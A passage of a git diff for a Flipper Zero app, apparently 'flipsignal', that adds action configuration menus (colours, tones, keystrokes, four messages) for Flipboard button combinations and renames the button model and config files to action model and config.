ActionModel* action_model = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + uint8_t item_index = keystroke_item_index(action_model); + Keystroke ks = action_model_get_keystroke(action_model, item_index); + FURI_LOG_D(TAG, "ks.button_code=%d .count=%d", ks.button_code, ks.count); + action_model_set_keystroke(action_model, item_index, keystroke_values[index], ks.count); + variable_item_set_current_value_text(item, keystroke_names[index]); +} + +/** + * @brief keystroke_count_changed is called when the keystroke count setting is changed. + * @param item The VariableItem that was changed. +*/ +static void keystroke_count_changed(VariableItem* item) { + ActionModel* action_model = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + uint8_t item_index = keystroke_item_index(action_model); + Keystroke ks = action_model_get_keystroke(action_model, item_index); + FURI_LOG_D(TAG, "ks.button_code=%d .count=%d", ks.button_code, ks.count); + action_model_set_keystroke(action_model, item_index, ks.button_code, index); + variable_item_set_current_value_text(item, keystroke_count_names[index]); +} + +/** + * @brief populate_variable_item_list_color adds a color configuration. + * @details populate_variable_item_list_color adds a color configuration. It + * adds a VariableItem (config) to the VariableItemList. It sets the current + * value index to the index of the color passed in, if it finds a match. + * @param action_config The ActionConfig. + * @param action_model The ActionModel. + * @param label The label for the setting. + * @param callback The callback for when the setting is changed. + * @param initial_color The initial color in HEX to default to (RRGGBB). +*/ +static void populate_variable_item_list_color( + ActionConfig* action_config, + ActionModel* action_model, + char* label, + VariableItemChangeCallback callback, + uint32_t initial_color) { + VariableItem* item = variable_item_list_add( + action_config->item_list, label, COUNT_OF(color_names), callback, action_model); + uint8_t index = 0; + for(size_t i = 0; i < COUNT_OF(color_values); i++) { + if(initial_color == color_values[i]) { + index = i; + break; + } + } + variable_item_set_current_value_index(item, index); + variable_item_set_current_value_text(item, color_names[index]); +} + +/** + * @brief populate_variable_item_list_frequency adds a frequency configuration. + * @details populate_variable_item_list_frequency adds a frequency configuration. + * It sets the current value index to the index of the frequency passed in, if + * it finds a match. + * @param action_config The ActionConfig. + * @param action_model The ActionModel. + * @param label The label for the setting. + * @param callback The callback for when the setting is changed. + * @param frequency The initial frequency to default to. +*/ +static void populate_variable_item_list_frequency( + ActionConfig* action_config, + ActionModel* action_model, + char* label, + VariableItemChangeCallback callback, + float frequency) { + VariableItem* item = variable_item_list_add( + action_config->item_list, label, COUNT_OF(tone_names), callback, action_model); + uint8_t index = 0; + for(size_t i = 0; i < COUNT_OF(tone_values); i++) { + float diff = frequency - tone_values[i]; + if(diff < 0.0f) diff = -diff; + if(diff < 1.0f) { + index = i; + break; + } + } + variable_item_set_current_value_index(item, index); + variable_item_set_current_value_text(item, tone_names[index]); +} + +/** + * @brief populate_variable_item_list_keystrokes adds keystroke and count configurations. + * @param action_config The ActionConfig. + * @param action_model The ActionModel. + * @return The number of lines added. +*/ +static uint8_t + populate_variable_item_list_keystrokes(ActionConfig* action_config, ActionModel* action_model) { + uint8_t lines_added = 0; + + uint8_t count = action_model_get_keystrokes_count(action_model); + + for(int j = 0; j < count; j++) { + Keystroke ks = action_model_get_keystroke(action_model, j); + FURI_LOG_D("Flipboard", "POPULATE ks.button_code=%d .count=%d", ks.button_code, ks.count); + + VariableItem* item = variable_item_list_add( + action_config->item_list, + "Keystroke", + COUNT_OF(keystroke_names), + keystroke_changed, + action_model); + lines_added++; + uint8_t index = 0; + for(size_t i = 0; i < COUNT_OF(keystroke_names); i++) { + if(keystroke_values[i] == ks.button_code) { + index = i; + break; + } + } + variable_item_set_current_value_index(item, index); + variable_item_set_current_value_text(item, keystroke_names[index]); + + item = variable_item_list_add( + action_config->item_list, + "Count", + COUNT_OF(keystroke_count_names), + keystroke_count_changed, + action_model); + lines_added++; + index = COUNT_OF(keystroke_count_names) - 1; + for(size_t i = 0; i < COUNT_OF(keystroke_count_names); i++) { + if(i == ks.count) { + index = i; + break; + } + } + variable_item_set_current_value_index(item, index); + variable_item_set_current_value_text(item, keystroke_count_names[index]); + } + + return lines_added; +} + +/** + * @brief message_updated is called when the text message is updated. + * @param context The ActionModel. + * @param index The index of the message that was updated. + */ +static void message_updated(void* context, uint8_t index) { + ActionModel* action_model = (ActionModel*)context; + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + furi_assert(action_config); + action_model_set_message(action_model, action_model_get_temp_buffer(action_model), index); + view_dispatcher_switch_to_view( + action_config->view_dispatcher, action_config->view_item_list_id); +} + +/** + * @brief message_updated is called when the text message 1 is updated. + * @param context The ActionModel. + */ +static void message1_updated(void* context) { + message_updated(context, 0); +} + +/** + * @brief message_updated is called when the text message 2 is updated. + * @param context The ActionModel. + */ +static void message2_updated(void* context) { + message_updated(context, 1); +} + +/** + * @brief message_updated is called when the text message 3 is updated. + * @param context The ActionModel. + */ +static void message3_updated(void* context) { + message_updated(context, 2); +} + +/** + * @brief message_updated is called when the text message 4 is updated. + * @param context The ActionModel. + */ +static void message4_updated(void* context) { + message_updated(context, 3); +} + +/** + * @brief keystroke_selector_callback is called when a keystroke is selected. + * @param button_code The button code that was selected. + * @param context The ActionModel. +*/ +static void keystroke_selector_callback(uint16_t button_code, void* context) { + ActionModel* action_model = (ActionModel*)context; + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + uint8_t item = action_model_get_temp_index(action_model); + Keystroke ks = action_model_get_keystroke(action_model, item); + if(ks.button_code != button_code) { + action_model_set_keystroke(action_model, (uint8_t)item, button_code, ks.count); + populate_variable_item_list(action_config, action_model); + } + view_dispatcher_switch_to_view( + action_config->view_dispatcher, action_config->view_item_list_id); +} + +/** + * @brief item_message_clicked is called when a message is clicked in the config menu. + * @details item_message_clicked is called when an item is clicked in the config menu. + * It displays an enter message dialog and will store the message in the ActionModel. + * @param action_model The ActionModel. + * @param message_number The message number to edit (0-3). +*/ +static void item_message_clicked(ActionModel* action_model, uint8_t message_number) { + FURI_LOG_D(TAG, "Message index clicked"); + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + furi_assert(action_config); + + text_input_set_header_text( + action_config->text_input, + (message_number == 0) ? "Enter message 1" : + (message_number == 1) ? "Enter message 2" : + (message_number == 2) ? "Enter message 3" : + "Enter message 4"); + if(action_model_get_message(action_model, message_number)) { + strncpy( + action_model_get_temp_buffer(action_model), + furi_string_get_cstr(action_model_get_message(action_model, message_number)), + action_model_get_temp_buffer_size(action_model) - 1); + } else { + action_model_get_temp_buffer(action_model)[0] = 0; + } + + view_set_previous_callback( + text_input_get_view(action_config->text_input), + get_menu_callback(action_config->view_item_list_id)); + + text_input_set_result_callback( + action_config->text_input, + (message_number == 0) ? message1_updated : + (message_number == 1) ? message2_updated : + (message_number == 2) ? message3_updated : + message4_updated, + action_model, + action_model_get_temp_buffer(action_model), + action_model_get_temp_buffer_size(action_model), + false); + + view_dispatcher_switch_to_view( + action_config->view_dispatcher, action_config->view_text_input_id); + + return; +} + +/** + * @brief item_clicked is called when an item is clicked in the config menu. + * @details item_clicked is called when an item is clicked in the config menu. + * It determines which item was clicked and switches to the appropriate view, + * if the item has an editor. + * @param context The ActionModel. + * @param index The index of the item that was clicked. +*/ +static void item_clicked(void* context, uint32_t index) { + ActionModel* action_model = (ActionModel*)context; + uint8_t message_index = action_model_get_message_index(action_model); + if(index >= message_index && index < message_index + 4u) { + item_message_clicked(action_model, index - message_index); + return; + } + + uint8_t keystroke_index = action_model_get_keystroke_index(action_model); + if(index == keystroke_index) { + FURI_LOG_D("Flipboard", "Keystroke index clicked"); + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + + uint16_t keycode = 0; + action_model_append_keystroke(action_model, keycode, 1); + + populate_variable_item_list(action_config, action_model); + return; + } + + if(index < keystroke_index) { + uint32_t count = action_model_get_keystrokes_count(action_model); + + int32_t item = count - ((keystroke_index - index) / 2); + + FURI_LOG_D( + "Flipboard", + "Keystroke clicked? item=%ld count=%ld keystroke_index=%d index=%ld", + item, + count, + keystroke_index, + index); + + if(item < 0) { + FURI_LOG_D("Flipboard", "Not keystroke clicked. Ignorning"); + return; + } + + if(index % 2 == 0) { + FURI_LOG_D("Flipboard", "Count clicked. Ignorning"); + return; + } + + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + if(action_config->keystroke_selector == NULL) { + return; + } + + view_set_previous_callback( + keystroke_selector_get_view(action_config->keystroke_selector), + get_menu_callback(action_config->view_item_list_id)); + + Keystroke keystroke = action_model_get_keystroke(action_model, (uint8_t)item); + keystroke_selector_set_key(action_config->keystroke_selector, keystroke.button_code); + action_model_set_temp_index(action_model, (uint8_t)item); + keystroke_selector_set_callback( + action_config->keystroke_selector, keystroke_selector_callback, action_model); + + view_dispatcher_switch_to_view( + action_config->view_dispatcher, action_config->view_keystroke_selector_id); + + return; + } + + FURI_LOG_D("Flipboard", "Unknown index clicked %ld", index); +} + +/** + * @brief populate_variable_item_list adds the variable items to the list. + * @details populate_variable_item_list adds the variable items to the list. It starts + * by resetting the list. Then it adds the items based on the fields in the + * ActionConfig and the ActionModel. + * @param action_config The ActionConfig. + * @param action_model The ActionModel. +*/ +static void populate_variable_item_list(ActionConfig* action_config, ActionModel* action_model) { + variable_item_list_reset(action_config->item_list); + uint8_t item_index = 0; + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldColorDown) { + populate_variable_item_list_color( + action_config, + action_model, + "Press color", + color_down_changed, + action_model_get_color_down(action_model)); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldColorUp) { + populate_variable_item_list_color( + action_config, + action_model, + "Release color", + color_up_changed, + action_model_get_color_up(action_model)); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldFrequency) { + populate_variable_item_list_frequency( + action_config, + action_model, + "Music note", + tone_changed, + action_model_get_frequency(action_model)); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & + ActionModelFieldKeystrokes) { + item_index += populate_variable_item_list_keystrokes(action_config, action_model); + variable_item_list_add(action_config->item_list, "Add Keystroke", 0, NULL, NULL); + variable_item_list_set_enter_callback( + action_config->item_list, item_clicked, action_model); + action_model_set_keystroke_index(action_model, item_index); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldMessage) { + variable_item_list_add(action_config->item_list, "Message 1", 0, NULL, NULL); + variable_item_list_set_enter_callback( + action_config->item_list, item_clicked, action_model); + action_model_set_message_index(action_model, item_index); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldMessage) { + variable_item_list_add(action_config->item_list, "Message 2", 0, NULL, NULL); + variable_item_list_set_enter_callback( + action_config->item_list, item_clicked, action_model); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldMessage) { + variable_item_list_add(action_config->item_list, "Message 3", 0, NULL, NULL); + variable_item_list_set_enter_callback( + action_config->item_list, item_clicked, action_model); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldMessage) { + variable_item_list_add(action_config->item_list, "Message 4", 0, NULL, NULL); + variable_item_list_set_enter_callback( + action_config->item_list, item_clicked, action_model); + item_index++; + } +} + +/** + * @brief item_callback is called when a action is selected in the menu. + * @details item_callback is called when a action is selected in the menu. It + * sets the ActionConfig in the ActionModel. It then populates the + * VariableItemList with the settings for the action. Finally, it switches to + * the VariableItemList view. + * @param context The ActionConfig. + * @param index The index of the action that was selected. +*/ +static void item_callback(void* context, uint32_t index) { + ActionConfig* action_config = (ActionConfig*)context; + FlipboardModel* model = action_config->model; + ActionModel* action_model = flipboard_model_get_action_model(model, index); + if(!action_model) { + FURI_LOG_E("TAG", "Index=%ld action_model=NULL", index); + } else { + FURI_LOG_D( + "TAG", + "Index=%ld action_model.action_id=%d", + index, + action_model_get_action_id(action_model)); + } + + furi_assert(action_model && action_model_get_action_id(action_model) == index); + action_model_set_action_config(action_model, action_config); + populate_variable_item_list(action_config, action_model); + variable_item_list_set_selected_item(action_config->item_list, 0); + + if(action_config->view_dispatcher) { + view_dispatcher_switch_to_view( + action_config->view_dispatcher, action_config->view_item_list_id); + } +} + +/** + * @brief Allocate and initialize ActionConfig structure. + * @details Allocate and initialize ActionConfig structure. Applications can + * pass in a list of keys to be used for the keystroke selector. + * @param model The FlipboardModel. + * @param config_view_id The view id for the configure view. + * @param keys The list of keys to be used for the keystroke selector. + * @param shift_keys The list of shift keys to be used for the keystroke selector. + * @param rows The number of rows in the keystroke selector. KEYSTROKE_SELECTOR_COLS is + * used for the number of columns. +*/ +ActionConfig* action_config_alloc( + FlipboardModel* model, + uint32_t config_view_id, + KeystrokeSelectorKey* keys, + KeystrokeSelectorKey* shift_keys, + uint8_t rows) { + ActionConfig* action_config = (ActionConfig*)malloc(sizeof(ActionConfig)); + action_config->view_dispatcher = NULL; + action_config->model = model; + action_config->menu_actions = submenu_alloc(); + action_config->view_menu_actions_id = config_view_id; + action_config->text_input = text_input_alloc(); + action_config->view_text_input_id = 0; + action_config->keystroke_selector = + (keys == NULL) ? NULL : keystroke_selector_alloc(keys, shift_keys, rows); + action_config->view_keystroke_selector_id = 0; + action_config->item_list = variable_item_list_alloc(); + action_config->view_item_list_id = 0; + view_set_previous_callback( + variable_item_list_get_view(action_config->item_list), get_menu_callback(config_view_id)); + + FuriString* action_name = furi_string_alloc(); + + bool single = flipboard_model_get_single_button_mode(model); + + for(int i = 1; i < 16;) { + furi_string_printf(action_name, "Action %d (", i); + if(i == 15) { + furi_string_cat_printf(action_name, "all buttons"); + } else { + furi_string_cat_printf(action_name, "button"); + if(i != 1 && i != 2 && i != 4 && i != 8) { + furi_string_cat_printf(action_name, "s"); + } + furi_string_cat_printf(action_name, " "); + int btn = 0; + if(i & 1) { + furi_string_cat_printf(action_name, "1"); + btn |= 1; + if(btn != i) { + furi_string_cat_printf(action_name, ", "); + } + } + if(i & 2) { + furi_string_cat_printf(action_name, "2"); + btn |= 2; + if(btn != i) { + furi_string_cat_printf(action_name, ", "); + } + } + if(i & 4) { + furi_string_cat_printf(action_name, "3"); + btn |= 4; + if(btn != i) { + furi_string_cat_printf(action_name, ", "); + } + } + if(i & 8) { + furi_string_cat_printf(action_name, "4"); + btn |= 8; + } + } + furi_string_cat_printf(action_name, ")"); + submenu_add_item( + action_config->menu_actions, + furi_string_get_cstr(action_name), + i, + item_callback, + action_config); + if(single) { + i = i << 1; + } else { + i++; + } + } + submenu_set_header(action_config->menu_actions, "Configure Action"); + + return action_config; +} + +/** + * @brief action_config_free releases allocated resources. + * @param action_config The ActionConfig to free. +*/ +void action_config_free(ActionConfig* action_config) { + if(action_config->view_dispatcher != NULL) { + if(action_config->view_item_list_id) { + view_dispatcher_remove_view( + action_config->view_dispatcher, action_config->view_item_list_id); + } + + if(action_config->view_text_input_id) { + view_dispatcher_remove_view( + action_config->view_dispatcher, action_config->view_text_input_id); + } + + if(action_config->view_keystroke_selector_id) { + view_dispatcher_remove_view( + action_config->view_dispatcher, action_config->view_keystroke_selector_id); + } + } + variable_item_list_free(action_config->item_list); + submenu_free(action_config->menu_actions); + text_input_free(action_config->text_input); + if(action_config->keystroke_selector) { + keystroke_selector_free(action_config->keystroke_selector); + } + free(action_config); +} + +/** + * @brief Get view of ActionConfig structure. + * @details This function return view of ActionConfig structure. It is used to add ActionConfig + * view to ViewDispatcher. + * @param action_config Pointer to ActionConfig structure. + * @return Pointer to view of ActionConfig structure. +*/ +View* action_config_get_view(ActionConfig* action_config) { + return submenu_get_view(action_config->menu_actions); +} + +/** + * @brief Get view id of ActionConfig structure. + * @details This function return view id of ActionConfig structure. It is used to add ActionConfig + * view to the application menu. + * @param action_config Pointer to ActionConfig structure. + * @return View id of ActionConfig structure. +*/ +uint32_t action_config_get_view_id(ActionConfig* action_config) { + return action_config->view_menu_actions_id; +} + +/** + * @brief action_config_register_dispatcher registers the ViewDispatcher. + * @param action_config The ActionConfig. + * @param view_dispatcher The ViewDispatcher. +*/ +void action_config_register_dispatcher( + ActionConfig* action_config, + ViewDispatcher* view_dispatcher) { + action_config->view_dispatcher = view_dispatcher; +} + +/** + * @brief action_config_register_variable_item_list registers the VariableItemList. + * @details action_config_register_variable_item_list registers the VariableItemList. The + * VariableItemList is used to show the configuration of a action. + * @param action_config The ActionConfig. + * @param variable_item_list_view_id The view id for the VariableItemList. +*/ +void action_config_register_variable_item_list( + ActionConfig* action_config, + uint32_t variable_item_list_view_id) { + furi_assert(action_config->view_dispatcher != NULL); + action_config->view_item_list_id = variable_item_list_view_id; + view_dispatcher_add_view( + action_config->view_dispatcher, + action_config->view_item_list_id, + variable_item_list_get_view(action_config->item_list)); +} + +/** + * @brief action_config_register_text_input registers the TextInput. + * @details action_config_register_text_input registers the TextInput. The + * TextInput is used to enter a message. + * @param action_config The ActionConfig. + * @param text_input_id The view id for the TextInput. +*/ +void action_config_register_text_input(ActionConfig* action_config, uint32_t text_input_id) { + furi_assert(action_config->view_dispatcher != NULL); + action_config->view_text_input_id = text_input_id; + view_dispatcher_add_view( + action_config->view_dispatcher, + action_config->view_text_input_id, + text_input_get_view(action_config->text_input)); +} + +/** + * @brief action_config_register_keystroke_selector registers the KeystrokeSelector. + * @details action_config_register_keystroke_selector registers the KeystrokeSelector. The + * KeystrokeSelector is used to select a keystroke. + * @param action_config The ActionConfig. + * @param keystroke_selector_id The view id for the KeystrokeSelector. +*/ +void action_config_register_keystroke_selector( + ActionConfig* action_config, + uint32_t keystroke_selector_id) { + furi_assert(action_config->view_dispatcher != NULL); + if(action_config->keystroke_selector == NULL) { + return; + } + action_config->view_keystroke_selector_id = keystroke_selector_id; + view_dispatcher_add_view( + action_config->view_dispatcher, + action_config->view_keystroke_selector_id, + keystroke_selector_get_view(action_config->keystroke_selector)); +} diff --git a/applications/external/flipsignal/common/action_config.h b/applications/external/flipsignal/common/action_config.h new file mode 100644 index 00000000000..fd8129fa000 --- /dev/null +++ b/applications/external/flipsignal/common/action_config.h @@ -0,0 +1,99 @@ +/** + * @file action_config.h + * @brief This file contains the ActionConfig type and related functions. + * @details This file contains the ActionConfig type and related functions. + * The action_config module is responsible for managing the configuration of a + * action on the Flipboard. An action may consist of multiple buttons at the + * same time (so there are 15 actions that can be configured). +*/ + +#pragma once + +#include +#include +#include "keystroke_selector.h" + +typedef struct FlipboardModel FlipboardModel; +typedef struct ActionConfig ActionConfig; + +/** + * @brief Allocate and initialize ActionConfig structure. + * @details Allocate and initialize ActionConfig structure. Applications can + * pass in a list of keys to be used for the keystroke selector. + * @param model The FlipboardModel. + * @param config_view_id The view id for the configure view. + * @param keys The list of keys to be used for the keystroke selector. + * @param shift_keys The list of shift keys to be used for the keystroke selector. + * @param rows The number of rows in the keystroke selector. KEYSTROKE_SELECTOR_COLS is + * used for the number of columns. + */ +ActionConfig* action_config_alloc( + FlipboardModel* model, + uint32_t config_view_id, + KeystrokeSelectorKey* keys, + KeystrokeSelectorKey* shift_keys, + uint8_t keyboard_rows); + +/** + * @brief action_config_free releases allocated resources. + * @param action_config The ActionConfig to free. + */ +void action_config_free(ActionConfig* action_config); + +/** + * @brief Get view of ActionConfig structure. + * @details This function return view of ActionConfig structure. It is used to add ActionConfig + * view to ViewDispatcher. + * @param action_config Pointer to ActionConfig structure. + * @return Pointer to view of ActionConfig structure. + */ +View* action_config_get_view(ActionConfig* action_config); + +/** + * @brief Get view id of ActionConfig structure. + * @details This function return view id of ActionConfig structure. It is used to add ActionConfig + * view to the application menu. + * @param action_config Pointer to ActionConfig structure. + * @return View id of ActionConfig structure. + */ +uint32_t action_config_get_view_id(ActionConfig* action_config); + +/** + * @brief action_config_register_dispatcher registers the ViewDispatcher. + * @param action_config The ActionConfig. + * @param view_dispatcher The ViewDispatcher. + */ +void action_config_register_dispatcher( + ActionConfig* action_config, + ViewDispatcher* view_dispatcher); + +/** + * @brief action_config_register_variable_item_list registers the VariableItemList. + * @details action_config_register_variable_item_list registers the VariableItemList. The + * VariableItemList is used to show the configuration of a action. + * @param action_config The ActionConfig. + * @param variable_item_list_view_id The view id for the VariableItemList. + */ +void action_config_register_variable_item_list( + ActionConfig* action_config, + uint32_t variable_item_list_view_id); + +/** + * @brief action_config_register_text_input registers the TextInput. + * @details action_config_register_text_input registers the TextInput. The + * TextInput is used to enter a message. + * @param action_config The ActionConfig. + * @param text_input_id The view id for the TextInput. +*/ +void action_config_register_text_input(ActionConfig* action_config, uint32_t text_input_id); + +/** + * @brief action_config_register_keystroke_selector registers the KeystrokeSelector. + * @details action_config_register_keystroke_selector registers the KeystrokeSelector. The + * KeystrokeSelector is used to select a keystroke. + * @param action_config The ActionConfig. + * @param keystroke_selector_id The view id for the KeystrokeSelector. +*/ +void action_config_register_keystroke_selector( + ActionConfig* action_config, + uint32_t keystroke_selector_id); diff --git a/applications/external/flipblinky/common/button_config_i.h b/applications/external/flipsignal/common/action_config_i.h similarity index 64% rename from applications/external/flipblinky/common/button_config_i.h rename to applications/external/flipsignal/common/action_config_i.h index 13fd501cc2d..c823a1b72c2 100644 --- a/applications/external/flipblinky/common/button_config_i.h +++ b/applications/external/flipsignal/common/action_config_i.h @@ -5,7 +5,10 @@ #include #include -#include "button_config.h" +#include "../app_config.h" + +#include "action_config.h" +#define DEFINE_COLOR_NAMES_AND_VALUES "action_config_i.h" #include "config_colors.h" #include "config_keystroke.h" #include "config_tones.h" @@ -13,15 +16,15 @@ #include "keystroke_selector.h" #include "menu_callback.h" -struct ButtonConfig { +struct ActionConfig { FlipboardModel* model; ViewDispatcher* view_dispatcher; - // menu_buttons is used for showing a list of buttons to be configured. - Submenu* menu_buttons; - uint32_t view_menu_buttons_id; + // menu_actionss is used for showing a list of action to be configured. + Submenu* menu_actions; + uint32_t view_menu_actions_id; - // item_list is used for showing the configurations of a button. + // item_list is used for showing the configurations of an action. VariableItemList* item_list; uint32_t view_item_list_id; @@ -38,4 +41,6 @@ typedef struct { void* app; uint8_t key; uint8_t index; -} VariableItemContext; \ No newline at end of file +} VariableItemContext; + +static void populate_variable_item_list(ActionConfig* button_config, ActionModel* bm); \ No newline at end of file diff --git a/applications/external/flipblinky/common/button_model.c b/applications/external/flipsignal/common/action_model.c similarity index 50% rename from applications/external/flipblinky/common/button_model.c rename to applications/external/flipsignal/common/action_model.c index 1bb2bd54e7a..2df5761bf3c 100644 --- a/applications/external/flipblinky/common/button_model.c +++ b/applications/external/flipsignal/common/action_model.c @@ -1,23 +1,22 @@ -#include "button_model_i.h" - -static ButtonModelFields - button_model_load_has_id(uint16_t button_id, FlipperFormat* flipper_format); -static void button_model_load_fields(ButtonModel* model, FlipperFormat* flipper_format); +#include "action_model_i.h" /** - * @brief Allocates a new button model. - * @param button_id The button id for the model. - * @return The new button model. + * @brief Allocates a new action model. + * @param action_id The action id for the model. + * @return The new action model. */ -ButtonModel* button_model_alloc(uint8_t button_id) { - ButtonModel* model = malloc(sizeof(ButtonModel)); - model->button_id = button_id; +ActionModel* action_model_alloc(uint8_t action_id) { + ActionModel* model = malloc(sizeof(ActionModel)); + model->action_id = action_id; model->color_up = 0x000000; model->color_down = 0x000000; model->frequency = 0.0f; model->keystrokes_count = 0; model->keystrokes = NULL; - model->message = NULL; + model->message[0] = NULL; + model->message[1] = NULL; + model->message[2] = NULL; + model->message[3] = NULL; model->message_index = 0; model->temp_buffer_size = 30; model->temp_buffer = (char*)malloc(sizeof(char) * model->temp_buffer_size); @@ -25,32 +24,35 @@ ButtonModel* button_model_alloc(uint8_t button_id) { } /** - * @brief Allocates a new button model from a FlipperFormat. - * @param button_id The button id for the model. + * @brief Allocates a new action model from a FlipperFormat. + * @param action_id The action id for the model. * @param flipper_format The FlipperFormat to load from. - * @return The new button model. + * @return The new action model. */ -ButtonModel* button_model_alloc_from_ff(uint8_t button_id, FlipperFormat* flipper_format) { - ButtonModelFields fields = button_model_load_has_id(button_id, flipper_format); - if(fields == ButtonModelFieldNone) { +ActionModel* action_model_alloc_from_ff(uint8_t action_id, FlipperFormat* flipper_format) { + ActionModelFields fields = action_model_load_has_id(action_id, flipper_format); + if(fields == ActionModelFieldNone) { return NULL; } - ButtonModel* model = button_model_alloc(button_id); - button_model_load_fields(model, flipper_format); + ActionModel* model = action_model_alloc(action_id); + action_model_load_fields(model, flipper_format); return model; } /** - * @brief Frees a button model. + * @brief Frees a action model. * @param model The model to free. */ -void button_model_free(ButtonModel* model) { +void action_model_free(ActionModel* model) { if(model->keystrokes) { free(model->keystrokes); } - if(model->message) { - furi_string_free(model->message); + for(int i = 0; i < 4; i++) { + if(model->message[i]) { + furi_string_free(model->message[i]); + model->message[i] = NULL; + } } if(model->temp_buffer) { free(model->temp_buffer); @@ -59,29 +61,29 @@ void button_model_free(ButtonModel* model) { } /** - * @brief Gets the button id for the model. - * @param model The model to get the button id for. - * @return The button id for the model. + * @brief Gets the action id for the model. + * @param model The model to get the action id for. + * @return The action id for the model. */ -uint8_t button_model_get_button_id(ButtonModel* model) { - return model->button_id; +uint8_t action_model_get_action_id(ActionModel* model) { + return model->action_id; } /** - * @brief Gets the HEX color when the button is not pressed. + * @brief Gets the HEX color when the action is not pressed. * @param model The model to get the color for. - * @return The hex color for when button is up. + * @return The hex color for when action is up. */ -uint32_t button_model_get_color_up(ButtonModel* model) { +uint32_t action_model_get_color_up(ActionModel* model) { return model->color_up; } /** - * @brief Gets the HEX color when the button is pressed. + * @brief Gets the HEX color when the action is pressed. * @param model The model to get the color for. - * @return The hex color for when button is pressed down. + * @return The hex color for when action is pressed down. */ -uint32_t button_model_get_color_down(ButtonModel* model) { +uint32_t action_model_get_color_down(ActionModel* model) { return model->color_down; } @@ -90,7 +92,7 @@ uint32_t button_model_get_color_down(ButtonModel* model) { * @param model The model to get the message index for. * @return The index of the menu item for editing the message. */ -uint8_t button_model_get_message_index(ButtonModel* model) { +uint8_t action_model_get_message_index(ActionModel* model) { return model->message_index; } @@ -99,7 +101,7 @@ uint8_t button_model_get_message_index(ButtonModel* model) { * @param model The model to get the keystroke index for. * @return The index of the menu item for adding a keystroke. */ -uint8_t button_model_get_keystroke_index(ButtonModel* model) { +uint8_t action_model_get_keystroke_index(ActionModel* model) { return model->keystroke_index; } @@ -108,7 +110,7 @@ uint8_t button_model_get_keystroke_index(ButtonModel* model) { * @param model The model to get the temp buffer for. * @return The temp buffer for editing the message. */ -char* button_model_get_temp_buffer(ButtonModel* model) { +char* action_model_get_temp_buffer(ActionModel* model) { return model->temp_buffer; } @@ -117,7 +119,7 @@ char* button_model_get_temp_buffer(ButtonModel* model) { * @param model The model to get the temp buffer size for. * @return The size of the temp buffer for editing the message. */ -size_t button_model_get_temp_buffer_size(ButtonModel* model) { +size_t action_model_get_temp_buffer_size(ActionModel* model) { return model->temp_buffer_size; } @@ -126,25 +128,25 @@ size_t button_model_get_temp_buffer_size(ButtonModel* model) { * @param model The model to get the temp index for. * @return The index of the item being edited. */ -uint8_t button_model_get_temp_index(ButtonModel* model) { +uint8_t action_model_get_temp_index(ActionModel* model) { return model->temp_index; } /** - * @brief Gets the button config associated with this model. - * @param model The model to get the button config for. - * @return The button config associated with this model. + * @brief Gets the action config associated with this model. + * @param model The model to get the action config for. + * @return The action config associated with this model. */ -void* button_model_get_button_config(ButtonModel* model) { - return model->button_config; +void* action_model_get_action_config(ActionModel* model) { + return model->action_config; } /** - * @brief Gets the frequency for the button, in Hz. + * @brief Gets the frequency for the action, in Hz. * @param model The model to get the frequency for. - * @return The frequency for the button. + * @return The frequency for the action. */ -float button_model_get_frequency(ButtonModel* model) { +float action_model_get_frequency(ActionModel* model) { if(model == NULL) { return 0.0f; } @@ -153,11 +155,11 @@ float button_model_get_frequency(ButtonModel* model) { } /** - * @brief Gets the number of keystrokes for the button. + * @brief Gets the number of keystrokes for the action. * @param model The model to get the keystrokes count for. - * @return The number of keystrokes for the button. + * @return The number of keystrokes for the action. */ -uint8_t button_model_get_keystrokes_count(ButtonModel* model) { +uint8_t action_model_get_keystrokes_count(ActionModel* model) { if(model == NULL) { return 0; } @@ -171,7 +173,7 @@ uint8_t button_model_get_keystrokes_count(ButtonModel* model) { * @param index The index of the keystroke to get. * @return The keystroke at the given index. */ -Keystroke button_model_get_keystroke(ButtonModel* model, uint8_t index) { +Keystroke action_model_get_keystroke(ActionModel* model, uint8_t index) { if(index < model->keystrokes_count) { return model->keystrokes[index]; } @@ -183,33 +185,34 @@ Keystroke button_model_get_keystroke(ButtonModel* model, uint8_t index) { } /** - * @brief Gets the message for the button. + * @brief Gets the message for the action. * @param model The model to get the message for. - * @return The message for the button. + * @param message_number The message number to get. + * @return The message for the action. */ -FuriString* button_model_get_message(ButtonModel* model) { - if(model == NULL) { +FuriString* action_model_get_message(ActionModel* model, uint8_t message_number) { + if(model == NULL || message_number >= 4) { return NULL; } - return model->message; + return model->message[message_number]; } /** - * @brief Sets the HEX color when the button is not pressed. + * @brief Sets the HEX color when the action is not pressed. * @param model The model to set the color for. - * @param color_up The hex color for when button is up. + * @param color_up The hex color for when action is up. */ -void button_model_set_color_up(ButtonModel* model, uint32_t color_up) { +void action_model_set_color_up(ActionModel* model, uint32_t color_up) { model->color_up = color_up; } /** - * @brief Sets the HEX color when the button is pressed. + * @brief Sets the HEX color when the action is pressed. * @param model The model to set the color for. - * @param color_down The hex color for when button is pressed down. + * @param color_down The hex color for when action is pressed down. */ -void button_model_set_color_down(ButtonModel* model, uint32_t color_down) { +void action_model_set_color_down(ActionModel* model, uint32_t color_down) { model->color_down = color_down; } @@ -218,7 +221,7 @@ void button_model_set_color_down(ButtonModel* model, uint32_t color_down) { * @param model The model to set the message index for. * @param index The index of the menu item for editing the message. */ -void button_model_set_message_index(ButtonModel* model, uint8_t index) { +void action_model_set_message_index(ActionModel* model, uint8_t index) { model->message_index = index; } @@ -227,7 +230,7 @@ void button_model_set_message_index(ButtonModel* model, uint8_t index) { * @param model The 